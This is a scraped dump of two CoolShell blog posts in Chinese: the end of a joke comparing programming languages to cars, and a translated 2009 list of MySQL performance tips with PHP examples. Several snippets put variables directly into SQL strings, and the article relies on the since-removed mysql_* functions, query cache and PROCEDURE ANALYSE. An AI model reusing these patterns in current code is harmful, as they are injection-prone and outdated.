看上去像一辆车，但你只需要调整，你可把它变成一个飞机或是一个潜水艇。[from Paul Tanimoto:] 首先，这看起来并不像一辆车，但是你会发现还是有人在开他四处走。在你决定去学习驾驶它后，你会意识到这是一辆你可以制造更多的车的车。你告诉你的朋友，但你的朋友们嘲笑你说这个车看起来太怪异了。但就算是这样，你还是始终在你的车库中放着一辆Lisp，并希望有一天你的朋友会开关他到街上。</li>\n<li><strong>Mathematica</strong>   是一个设置精良的车，其从Lisp借鉴了很多但却没有得到应得的声望。它可以知道什么才是到达目的地最有效的道路，但是那需要运气。</li>\n<li><strong>Matlab</strong>   是一辆设计给新手司机使用的车，它过可用作一些短途用途，而且，适合它的地形也不多，和是那些“数学车”适合的地形差不多。在这种地面上，驾驶它是非常舒服的，但是一旦你离开适合它的地形，就算是一小辆Matlab的车也会变得很难驾驶。而很多专业的司机都拒绝承认这是一辆车。</li>\n<li><strong>Ocaml</strong>   是一个很性感的欧洲车。它并不像 <strong>C </strong>一样的快，但他永远不会被损毁。然后，这是法国式的，所有的控制装置都不在正常的位置。</li>\n<li><strong>Perl</strong>   本来应该是一个很酷的车，但是它的驾驶员手册相当的难以理解。另外，即使你能搞懂如何驾驶Perl车，你也不能去驾驶别的车。</li>\n<li>\n<p style=\"TEXT-ALIGN: left;\"><strong>PHP</strong>   是一个 Oscar Mayer Wienermobile（见本文文章头上的图片），它是一个很怪异的车，但是还是有很多的人喜欢去驾驶它。 [from “CosmicJustice” off of digg.com]</p>\n</li>\n<li><strong>Prolog</strong>   是一个完全自动化的车：你只要告诉它目的地是什么样的，它就可以带着你去那。[附录 from Paul Graham:] 然而，说明目的地的工作量和你自己开车到那里的工作时是一样的。[另一个版本] <strong>Prolog</strong>   这个车有一个独一无二的GPS装置。它会去为你寻找你要到的目的地，如果到了路的尽头还没有找到，那么，他会回来然后再去试另一条路，直到找到你的目的地为止。</li>\n<li><strong>Python</strong>   是一个相当不错的入门者的车。你没有驾照也可以驾驶它。除非，你真的想把它开得很快，或是在很BT的地形上驾驶。有了它，你可能不再需要别的车。</li>\n<li><strong>Ruby</strong>   是一个把Perl, Python和Smalltalk三辆车混合起来的一辆拼装车。一个日本的技师找到了Perl, Python和Smalltalk一些碎片并把这些碎片拼成成了一辆车。很多司机认为这个拼装车比其它三个全部加起来都好。而其它一些司机却喃喃道，这个车提供了很多重复的功能，甚至是三重一样的功能，这些重复的功能在不固定的环境下却又有一些细小的不同，这些重复的功能让这个车更难驾驶。有谣言说Ruby这个车要重新设计。</li>\n<li><strong>Smalltalk</strong>   只是一个小型车，其原来的目的只是为了让大家学习驾驶。但是，这个车设计的太好了，就算是很有经验的老手也很喜欢驾驶它。它开起来并不是很快，但是你可以把这个车的各个部件全部解开，并且换上你像要的部件，或是组装成你喜欢的样子。你可以给他发一个短信告诉它你要去哪，它会带着你去那，或是告诉你它听不懂你在说什么。很人性化的一辆车。</li>\n<li><strong>Visual Basic</strong>   这是一辆驾驭你的车。 [from “yivkX360” on digg.com]</li>\n<p> </p>\n<p>文章：<a href=\"http://www.cs.caltech.edu/~mvanier/hacking/rants/cars.html\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1532.html\"><img alt=\"到处都是Unix的胎记\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1532.html\">到处都是Unix的胎记</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2529.html\"><img alt=\"StackOverflow的404错误页\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2529.html\">StackOverflow的404错误页</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10337.html\"><img alt=\"数据即代码：元驱动编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10337.html\">数据即代码：元驱动编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7886.html\"><img alt=\"代码执行的效率\" height=\"150\" src=\"../wp-content/uploads/2012/07/muxnt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7886.html\">代码执行的效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2053.html\"><img alt=\"最为奇怪的程序语言的特性\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2053.html\">最为奇怪的程序语言的特性</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1992.html\"><img alt=\"程序员眼中的编程语言\" height=\"150\" src=\"../wp-content/uploads/2009/12/language-fanboys-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1992.html\">程序员眼中的编程语言</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1839.html\">编程语言汽车</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-11-27 MySQL性能优化的最佳20+条经验.html",
    "content": "<html><body><p>今天，数据库的操作越来越成为整个应用的性能瓶颈了，这点对于Web应用尤其明显。关于数据库的性能，这并不只是DBA才需要担心的事，而这更是我们程序员需要去关注的事情。当我们去设计数据库表结构，对操作数据库时（尤其是查表时的SQL语句），我们都需要注意数据操作的性能。这里，我们不会讲过多的SQL语句的优化，而只是针对MySQL这一Web应用最多的数据库。希望下面的这些优化技巧对你有用。</p>\n<h4>1. 为查询缓存优化你的查询</h4>\n<p>大多数的MySQL服务器都开启了查询缓存。这是提高性最有效的方法之一，而且这是被MySQL的数据库引擎处理的。当有很多相同的查询被执行了多次的时候，这些查询结果会被放到一个缓存中，这样，后续的相同的查询就不用操作表而直接访问缓存结果了。</p>\n<p>这里最主要的问题是，对于程序员来说，这个事情是很容易被忽略的。因为，我们某些查询语句会让MySQL不使用缓存。请看下面的示例：</p>\n<pre class=\"EnlighterJSRAW\">\n// 查询缓存不开启\n$r = mysql_query(\"SELECT username FROM user WHERE signup_date &gt;= CURDATE()\");\n\n// 开启查询缓存\n$today = date(\"Y-m-d\");\n$r = mysql_query(\"SELECT username FROM user WHERE signup_date &gt;= '$today'\");\n</pre>\n<p>上面两条SQL语句的差别就是 CURDATE() ，MySQL的查询缓存对这个函数不起作用。所以，像 NOW() 和 RAND() 或是其它的诸如此类的SQL函数都不会开启查询缓存，因为这些函数的返回是会不定的易变的。所以，你所需要的就是用一个变量来代替MySQL的函数，从而开启缓存。</p>\n<p><span id=\"more-1846\"></span></p>\n<h4>2. EXPLAIN 你的 SELECT 查询</h4>\n<p>使用 <a href=\"http://dev.mysql.com/doc/refman/5.0/en/explain.html\" target=\"_blank\">EXPLAIN</a> 关键字可以让你知道MySQL是如何处理你的SQL语句的。这可以帮你分析你的查询语句或是表结构的性能瓶颈。</p>\n<p>EXPLAIN 的查询结果还会告诉你你的索引主键被如何利用的，你的数据表是如何被搜索和排序的……等等，等等。</p>\n<p>挑一个你的SELECT语句（推荐挑选那个最复杂的，有多表联接的），把关键字EXPLAIN加到前面。你可以使用phpmyadmin来做这个事。然后，你会看到一张表格。下面的这个示例中，我们忘记加上了group_id索引，并且有表联接：</p>\n<div class=\"tutorial_image\"><img alt=\"\" border=\"0\" src=\"http://nettuts.s3.amazonaws.com/500_mysql/unoptimized_explain.jpg\"/></div>\n<p>当我们为 group_id 字段加上索引后：</p>\n<div class=\"tutorial_image\"><img alt=\"\" border=\"0\" src=\"http://nettuts.s3.amazonaws.com/500_mysql/optimized_explain.jpg\"/></div>\n<p>我们可以看到，前一个结果显示搜索了 7883 行，而后一个只是搜索了两个表的 9 和 16 行。查看rows列可以让我们找到潜在的性能问题。</p>\n<h4>3. 当只要一行数据时使用 LIMIT 1</h4>\n<p>当你查询表的有些时候，你已经知道结果只会有一条结果，但因为你可能需要去fetch游标，或是你也许会去检查返回的记录数。</p>\n<p>在这种情况下，加上 LIMIT 1 可以增加性能。这样一样，MySQL数据库引擎会在找到一条数据后停止搜索，而不是继续往后查少下一条符合记录的数据。</p>\n<p>下面的示例，只是为了找一下是否有“中国”的用户，很明显，后面的会比前面的更有效率。（请注意，第一条中是Select *，第二条是Select 1）</p>\n<pre class=\"EnlighterJSRAW\">\n\n// 没有效率的：\n$r = mysql_query(\"SELECT * FROM user WHERE country = 'China'\");\nif (mysql_num_rows($r) &gt; 0) {\n\t// ...\n}\n\n// 有效率的：\n$r = mysql_query(\"SELECT 1 FROM user WHERE country = 'China' LIMIT 1\");\nif (mysql_num_rows($r) &gt; 0) {\n\t// ...\n}\n</pre>\n<h4>4. 为搜索字段建索引</h4>\n<p>索引并不一定就是给主键或是唯一的字段。如果在你的表中，有某个字段你总要会经常用来做搜索，那么，请为其建立索引吧。</p>\n<div class=\"tutorial_image\"><img alt=\"\" border=\"0\" src=\"http://nettuts.s3.amazonaws.com/500_mysql/search_index.jpg\"/></div>\n<p>从上图你可以看到那个搜索字串 “last_name LIKE ‘a%'”，一个是建了索引，一个是没有索引，性能差了4倍左右。</p>\n<p>另外，你应该也需要知道什么样的搜索是不能使用正常的索引的。例如，当你需要在一篇大的文章中搜索一个词时，如： “WHERE post_content LIKE ‘%apple%'”，索引可能是没有意义的。你可能需要使用<a href=\"http://dev.mysql.com/doc/refman/5.1/en/fulltext-search.html\" target=\"_blank\">MySQL全文索引</a> 或是自己做一个索引（比如说：搜索关键词或是Tag什么的）</p>\n<h4>5. 在Join表的时候使用相当类型的例，并将其索引</h4>\n<p>如果你的应用程序有很多 JOIN 查询，你应该确认两个表中Join的字段是被建过索引的。这样，MySQL内部会启动为你优化Join的SQL语句的机制。</p>\n<p>而且，这些被用来Join的字段，应该是相同的类型的。例如：如果你要把 DECIMAL 字段和一个 INT 字段Join在一起，MySQL就无法使用它们的索引。对于那些STRING类型，还需要有相同的字符集才行。（两个表的字符集有可能不一样）</p>\n<pre class=\"EnlighterJSRAW\">\n// 在state中查找company\n$r = mysql_query(\"SELECT company_name FROM users\n\tLEFT JOIN companies ON (users.state = companies.state)\n\tWHERE users.id = $user_id\");\n\n// 两个 state 字段应该是被建过索引的，而且应该是相当的类型，相同的字符集。\n</pre>\n<h4>6. 千万不要 ORDER BY RAND()</h4>\n<p>想打乱返回的数据行？随机挑一个数据？真不知道谁发明了这种用法，但很多新手很喜欢这样用。但你确不了解这样做有多么可怕的性能问题。</p>\n<p>如果你真的想把返回的数据行打乱了，你有N种方法可以达到这个目的。这样使用只让你的数据库的性能呈指数级的下降。这里的问题是：MySQL会不得不去执行RAND()函数（很耗CPU时间），而且这是为了每一行记录去记行，然后再对其排序。就算是你用了Limit 1也无济于事（因为要排序）</p>\n<p>下面的示例是随机挑一条记录</p>\n<pre class=\"EnlighterJSRAW\">\n// 千万不要这样做：\n$r = mysql_query(\"SELECT username FROM user ORDER BY RAND() LIMIT 1\");\n\n// 这要会更好：\n$r = mysql_query(\"SELECT count(*) FROM user\");\n$d = mysql_fetch_row($r);\n$rand = mt_rand(0,$d[0] - 1);\n\n$r = mysql_query(\"SELECT username FROM user LIMIT $rand, 1\");\n</pre>\n<h4>7. 避免 SELECT *</h4>\n<p>从数据库里读出越多的数据，那么查询就会变得越慢。并且，如果你的数据库服务器和WEB服务器是两台独立的服务器的话，这还会增加网络传输的负载。</p>\n<p>所以，你应该养成一个需要什么就取什么的好的习惯。</p>\n<pre class=\"EnlighterJSRAW\">\n// 不推荐\n$r = mysql_query(\"SELECT * FROM user WHERE user_id = 1\");\n$d = mysql_fetch_assoc($r);\necho \"Welcome {$d['username']}\";\n\n// 推荐\n$r = mysql_query(\"SELECT username FROM user WHERE user_id = 1\");\n$d = mysql_fetch_assoc($r);\necho \"Welcome {$d['username']}\";\n</pre>\n<h4>8. 永远为每张表设置一个ID</h4>\n<p>我们应该为数据库里的每张表都设置一个ID做为其主键，而且最好的是一个INT型的（推荐使用UNSIGNED），并设置上自动增加的AUTO_INCREMENT标志。</p>\n<p>就算是你 users 表有一个主键叫 “email”的字段，你也别让它成为主键。使用 VARCHAR 类型来当主键会使用得性能下降。另外，在你的程序中，你应该使用表的ID来构造你的数据结构。</p>\n<p>而且，在MySQL数据引擎下，还有一些操作需要使用主键，在这些情况下，主键的性能和设置变得非常重要，比如，集群，分区……</p>\n<p>在这里，只有一个情况是例外，那就是“关联表”的“外键”，也就是说，这个表的主键，通过若干个别的表的主键构成。我们把这个情况叫做“外键”。比如：有一个“学生表”有学生的ID，有一个“课程表”有课程ID，那么，“成绩表”就是“关联表”了，其关联了学生表和课程表，在成绩表中，学生ID和课程ID叫“外键”其共同组成主键。</p>\n<h4>9. 使用 ENUM 而不是 VARCHAR</h4>\n<p><a href=\"http://dev.mysql.com/doc/refman/5.0/en/enum.html\" target=\"_blank\">ENUM</a> 类型是非常快和紧凑的。在实际上，其保存的是 TINYINT，但其外表上显示为字符串。这样一来，用这个字段来做一些选项列表变得相当的完美。</p>\n<p>如果你有一个字段，比如“性别”，“国家”，“民族”，“状态”或“部门”，你知道这些字段的取值是有限而且固定的，那么，你应该使用 ENUM 而不是 VARCHAR。</p>\n<p>MySQL也有一个“建议”（见第十条）告诉你怎么去重新组织你的表结构。当你有一个 VARCHAR 字段时，这个建议会告诉你把其改成 ENUM 类型。使用 PROCEDURE ANALYSE() 你可以得到相关的建议。</p>\n<h4>10. 从 PROCEDURE ANALYSE() 取得建议</h4>\n<p><a href=\"http://dev.mysql.com/doc/refman/5.0/en/procedure-analyse.html\" target=\"_blank\">PROCEDURE ANALYSE()</a> 会让 MySQL 帮你去分析你的字段和其实际的数据，并会给你一些有用的建议。只有表中有实际的数据，这些建议才会变得有用，因为要做一些大的决定是需要有数据作为基础的。</p>\n<p>例如，如果你创建了一个 INT 字段作为你的主键，然而并没有太多的数据，那么，PROCEDURE ANALYSE()会建议你把这个字段的类型改成 MEDIUMINT 。或是你使用了一个 VARCHAR 字段，因为数据不多，你可能会得到一个让你把它改成 ENUM 的建议。这些建议，都是可能因为数据不够多，所以决策做得就不够准。</p>\n<p>在phpmyadmin里，你可以在查看表时，点击 “Propose table structure” 来查看这些建议</p>\n<div class=\"tutorial_image\"><img alt=\"\" border=\"0\" src=\"http://nettuts.s3.amazonaws.com/500_mysql/suggestions.jpg\"/></div>\n<p>一定要注意，这些只是建议，只有当你的表里的数据越来越多时，这些建议才会变得准确。一定要记住，你才是最终做决定的人。</p>\n<h4>11. 尽可能的使用 NOT NULL</h4>\n<p>除非你有一个很特别的原因去使用 NULL 值，你应该总是让你的字段保持 NOT NULL。这看起来好像有点争议，请往下看。</p>\n<p>首先，问问你自己“Empty”和“NULL”有多大的区别（如果是INT，那就是0和NULL）？如果你觉得它们之间没有什么区别，那么你就不要使用NULL。（你知道吗？在 Oracle 里，NULL 和 Empty 的字符串是一样的！)</p>\n<p>不要以为 NULL 不需要空间，其需要额外的空间，并且，在你进行比较的时候，你的程序会更复杂。 当然，这里并不是说你就不能使用NULL了，现实情况是很复杂的，依然会有些情况下，你需要使用NULL值。</p>\n<p>下面摘自MySQL自己的文档：</p>\n<blockquote><p>“NULL columns require additional space in the row to record whether their values are NULL. For MyISAM tables, each NULL column takes one bit extra, rounded up to the nearest byte.”</p></blockquote>\n<h4>12. Prepared Statements</h4>\n<p>Prepared Statements很像存储过程，是一种运行在后台的SQL语句集合，我们可以从使用 prepared statements 获得很多好处，无论是性能问题还是安全问题。</p>\n<p>Prepared Statements 可以检查一些你绑定好的变量，这样可以保护你的程序不会受到“SQL注入式”攻击。当然，你也可以手动地检查你的这些变量，然而，手动的检查容易出问题，而且很经常会被程序员忘了。当我们使用一些framework或是ORM的时候，这样的问题会好一些。</p>\n<p>在性能方面，当一个相同的查询被使用多次的时候，这会为你带来可观的性能优势。你可以给这些Prepared Statements定义一些参数，而MySQL只会解析一次。</p>\n<p>虽然最新版本的MySQL在传输Prepared Statements是使用二进制形势，所以这会使得网络传输非常有效率。</p>\n<p>当然，也有一些情况下，我们需要避免使用Prepared Statements，因为其不支持查询缓存。但据说版本5.1后支持了。</p>\n<p>在PHP中要使用prepared statements，你可以查看其使用手册：<a href=\"http://php.net/manual/en/book.mysqli.php\" target=\"_blank\">mysqli 扩展</a> 或是使用数据库抽象层，如： <a href=\"http://us.php.net/manual/en/book.pdo.php\" target=\"_blank\">PDO</a>.</p>\n<pre class=\"EnlighterJSRAW\">\n// 创建 prepared statement\nif ($stmt = $mysqli-&gt;prepare(\"SELECT username FROM user WHERE state=?\")) {\n\n\t// 绑定参数\n    $stmt-&gt;bind_param(\"s\", $state);\n\n\t// 执行\n    $stmt-&gt;execute();\n\n\t// 绑定结果\n    $stmt-&gt;bind_result($username);\n\n\t// 移动游标\n    $stmt-&gt;fetch();\n\n    printf(\"%s is from %s\\n\", $username, $state);\n\n    $stmt-&gt;close();\n}\n</pre>\n<h4>13. 无缓冲的查询</h4>\n<p>正常的情况下，当你在当你在你的脚本中执行一个SQL语句的时候，你的程序会停在那里直到没这个SQL语句返回，然后你的程序再往下继续执行。你可以使用无缓冲查询来改变这个行为。</p>\n<p>关于这个事情，在PHP的文档中有一个非常不错的说明： <a href=\"http://php.net/manual/en/function.mysql-unbuffered-query.php\" target=\"_blank\">mysql_unbuffered_query()</a> 函数：</p>\n<blockquote><p>“mysql_unbuffered_query() sends the SQL query query to MySQL without automatically fetching and buffering the result rows as mysql_query() does. This saves a considerable amount of memory with SQL queries that produce large result sets, and you can start working on the result set immediately after the first row has been retrieved as you don’t have to wait until the complete SQL query has been performed.”</p></blockquote>\n<p>上面那句话翻译过来是说，mysql_unbuffered_query() 发送一个SQL语句到MySQL而并不像mysql_query()一样去自动fethch和缓存结果。这会相当节约很多可观的内存，尤其是那些会产生大量结果的查询语句，并且，你不需要等到所有的结果都返回，只需要第一行数据返回的时候，你就可以开始马上开始工作于查询结果了。</p>\n<p>然而，这会有一些限制。因为你要么把所有行都读走，或是你要在进行下一次的查询前调用 <a href=\"http://us2.php.net/manual/en/function.mysql-free-result.php\" target=\"_blank\">mysql_free_result()</a> 清除结果。而且， <a href=\"http://us2.php.net/manual/en/function.mysql-num-rows.php\" target=\"_blank\">mysql_num_rows()</a> 或 <a href=\"http://us2.php.net/manual/en/function.mysql-data-seek.php\" target=\"_blank\">mysql_data_seek()</a> 将无法使用。所以，是否使用无缓冲的查询你需要仔细考虑。</p>\n<h4>14. 把IP地址存成 UNSIGNED INT</h4>\n<p>很多程序员都会创建一个 VARCHAR(15) 字段来存放字符串形式的IP而不是整形的IP。如果你用整形来存放，只需要4个字节，并且你可以有定长的字段。而且，这会为你带来查询上的优势，尤其是当你需要使用这样的WHERE条件：IP between ip1 and ip2。</p>\n<p>我们必需要使用UNSIGNED INT，因为 IP地址会使用整个32位的无符号整形。</p>\n<p>而你的查询，你可以使用 <a href=\"http://dev.mysql.com/doc/refman/5.0/en/miscellaneous-functions.html#function_inet-aton\" target=\"_blank\">INET_ATON()</a> 来把一个字符串IP转成一个整形，并使用 <a href=\"http://dev.mysql.com/doc/refman/5.0/en/miscellaneous-functions.html#function_inet-ntoa\" target=\"_blank\">INET_NTOA()</a> 把一个整形转成一个字符串IP。在PHP中，也有这样的函数 <a href=\"http://php.net/manual/en/function.ip2long.php\" target=\"_blank\">ip2long()</a> 和 <a href=\"http://us.php.net/manual/en/function.long2ip.php\" target=\"_blank\">long2ip()</a>。</p>\n<pre class=\"EnlighterJSRAW\">\n$r = \"UPDATE users SET ip = INET_ATON('{$_SERVER['REMOTE_ADDR']}') WHERE user_id = $user_id\";\n</pre>\n<h4>15. 固定长度的表会更快</h4>\n<p>如果表中的所有字段都是“固定长度”的，整个表会被认为是 <a href=\"http://dev.mysql.com/doc/refman/5.1/en/static-format.html\" target=\"_blank\">“static” 或 “fixed-length”</a>。 例如，表中没有如下类型的字段： VARCHAR，TEXT，BLOB。只要你包括了其中一个这些字段，那么这个表就不是“固定长度静态表”了，这样，MySQL 引擎会用另一种方法来处理。</p>\n<p>固定长度的表会提高性能，因为MySQL搜寻得会更快一些，因为这些固定的长度是很容易计算下一个数据的偏移量的，所以读取的自然也会很快。而如果字段不是定长的，那么，每一次要找下一条的话，需要程序找到主键。</p>\n<p>并且，固定长度的表也更容易被缓存和重建。不过，唯一的副作用是，固定长度的字段会浪费一些空间，因为定长的字段无论你用不用，他都是要分配那么多的空间。</p>\n<p>使用“垂直分割”技术（见下一条），你可以分割你的表成为两个一个是定长的，一个则是不定长的。</p>\n<h4>16. 垂直分割</h4>\n<p>“垂直分割”是一种把数据库中的表按列变成几张表的方法，这样可以降低表的复杂度和字段的数目，从而达到优化的目的。（以前，在银行做过项目，见过一张表有100多个字段，很恐怖）</p>\n<p><strong>示例一</strong>：在Users表中有一个字段是家庭地址，这个字段是可选字段，相比起，而且你在数据库操作的时候除了个人信息外，你并不需要经常读取或是改写这个字段。那么，为什么不把他放到另外一张表中呢？ 这样会让你的表有更好的性能，大家想想是不是，大量的时候，我对于用户表来说，只有用户ID，用户名，口令，用户角色等会被经常使用。小一点的表总是会有好的性能。</p>\n<p><strong>示例二</strong>： 你有一个叫 “last_login” 的字段，它会在每次用户登录时被更新。但是，每次更新时会导致该表的查询缓存被清空。所以，你可以把这个字段放到另一个表中，这样就不会影响你对用户ID，用户名，用户角色的不停地读取了，因为查询缓存会帮你增加很多性能。</p>\n<p>另外，你需要注意的是，这些被分出去的字段所形成的表，你不会经常性地去Join他们，不然的话，这样的性能会比不分割时还要差，而且，会是极数级的下降。</p>\n<h4>17. 拆分大的 DELETE 或 INSERT 语句</h4>\n<p>如果你需要在一个在线的网站上去执行一个大的 DELETE 或 INSERT 查询，你需要非常小心，要避免你的操作让你的整个网站停止相应。因为这两个操作是会锁表的，表一锁住了，别的操作都进不来了。</p>\n<p>Apache 会有很多的子进程或线程。所以，其工作起来相当有效率，而我们的服务器也不希望有太多的子进程，线程和数据库链接，这是极大的占服务器资源的事情，尤其是内存。</p>\n<p>如果你把你的表锁上一段时间，比如30秒钟，那么对于一个有很高访问量的站点来说，这30秒所积累的访问进程/线程，数据库链接，打开的文件数，可能不仅仅会让你泊WEB服务Crash，还可能会让你的整台服务器马上掛了。</p>\n<p>所以，如果你有一个大的处理，你定你一定把其拆分，使用 LIMIT 条件是一个好的方法。下面是一个示例：</p>\n<pre class=\"EnlighterJSRAW\">\nwhile (1) {\n    //每次只做1000条\n\tmysql_query(\"DELETE FROM logs WHERE log_date &lt;= '2009-11-01' LIMIT 1000\");\n\tif (mysql_affected_rows() == 0) {\n\t\t// 没得可删了，退出！\n\t\tbreak;\n\t}\n\t// 每次都要休息一会儿\n\tusleep(50000);\n}\n</pre>\n<h4>18. 越小的列会越快</h4>\n<p>对于大多数的数据库引擎来说，硬盘操作可能是最重大的瓶颈。所以，把你的数据变得紧凑会对这种情况非常有帮助，因为这减少了对硬盘的访问。</p>\n<p>参看 MySQL 的文档 <a href=\"http://dev.mysql.com/doc/refman/5.0/en/storage-requirements.html\" target=\"_blank\">Storage Requirements</a> 查看所有的数据类型。</p>\n<p>如果一个表只会有几列罢了（比如说字典表，配置表），那么，我们就没有理由使用 INT 来做主键，使用 MEDIUMINT, SMALLINT 或是更小的 TINYINT 会更经济一些。如果你不需要记录时间，使用 DATE 要比 DATETIME 好得多。</p>\n<p>当然，你也需要留够足够的扩展空间，不然，你日后来干这个事，你会死的很难看，参看<a href=\"http://news.slashdot.org/article.pl?sid=06/11/09/1534204\" target=\"_blank\">Slashdot的例子</a>（2009年11月06日），一个简单的ALTER TABLE语句花了3个多小时，因为里面有一千六百万条数据。</p>\n<h4>19. 选择正确的存储引擎</h4>\n<p>在 MySQL 中有两个存储引擎 MyISAM 和 InnoDB，每个引擎都有利有弊。酷壳以前文章《<a href=\"https://coolshell.cn/articles/652.html\" target=\"_blank\">MySQL: InnoDB 还是 MyISAM?</a>》讨论和这个事情。</p>\n<p>MyISAM 适合于一些需要大量查询的应用，但其对于有大量写操作并不是很好。甚至你只是需要update一个字段，整个表都会被锁起来，而别的进程，就算是读进程都无法操作直到读操作完成。另外，MyISAM 对于 SELECT COUNT(*) 这类的计算是超快无比的。</p>\n<p>InnoDB 的趋势会是一个非常复杂的存储引擎，对于一些小的应用，它会比 MyISAM 还慢。他是它支持“行锁” ，于是在写操作比较多的时候，会更优秀。并且，他还支持更多的高级应用，比如：事务。</p>\n<p>下面是MySQL的手册</p>\n<ul>\n<li><a href=\"http://dev.mysql.com/doc/refman/5.1/en/myisam-storage-engine.html\">target=”_blank”MyISAM Storage Engine</a></li>\n<li><a href=\"http://dev.mysql.com/doc/refman/5.1/en/innodb.html\" target=\"_blank\">InnoDB Storage Engine</a></li>\n</ul>\n<h4>20. 使用一个对象关系映射器（Object Relational Mapper）</h4>\n<p>使用 ORM (Object Relational Mapper)，你能够获得可靠的性能增涨。一个ORM可以做的所有事情，也能被手动的编写出来。但是，这需要一个高级专家。</p>\n<p>ORM 的最重要的是“Lazy Loading”，也就是说，只有在需要的去取值的时候才会去真正的去做。但你也需要小心这种机制的副作用，因为这很有可能会因为要去创建很多很多小的查询反而会降低性能。</p>\n<p>ORM 还可以把你的SQL语句打包成一个事务，这会比单独执行他们快得多得多。</p>\n<p>目前，个人最喜欢的PHP的ORM是：<a href=\"http://www.doctrine-project.org\" target=\"_blank\">Doctrine</a>。</p>\n<h4>21. 小心“永久链接”</h4>\n<p>“永久链接”的目的是用来减少重新创建MySQL链接的次数。当一个链接被创建了，它会永远处在连接的状态，就算是数据库操作已经结束了。而且，自从我们的Apache开始重用它的子进程后——也就是说，下一次的HTTP请求会重用Apache的子进程，并重用相同的 MySQL 链接。</p>\n<ul>\n<li><a href=\"http://php.net/manual/en/function.mysql-pconnect.php\" target=\"_blank\">PHP手册：mysql_pconnect() </a></li>\n</ul>\n<p>在理论上来说，这听起来非常的不错。但是从个人经验（也是大多数人的）上来说，这个功能制造出来的麻烦事更多。因为，你只有有限的链接数，内存问题，文件句柄数，等等。</p>\n<p>而且，Apache 运行在极端并行的环境中，会创建很多很多的了进程。这就是为什么这种“永久链接”的机制工作地不好的原因。在你决定要使用“永久链接”之前，你需要好好地考虑一下你的整个系统的架构。</p>\n<p>文章：<a href=\"http://net.tutsplus.com/tutorials/other/top-20-mysql-best-practices/\" target=\"_blank\">来源</a></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4795.html\"><img alt=\"开源中最好的Web开发的资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4795.html\">开源中最好的Web开发的资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3684.html\"><img alt=\"Web开发人员速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/02/1128-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1889.html\"><img alt=\"SQL的Where语句\" height=\"150\" src=\"../wp-content/uploads/2009/12/sql.where_.clause-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1889.html\">SQL的Where语句</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/652.html\"><img alt=\"MySQL: InnoDB 还是 MyISAM?\" height=\"150\" 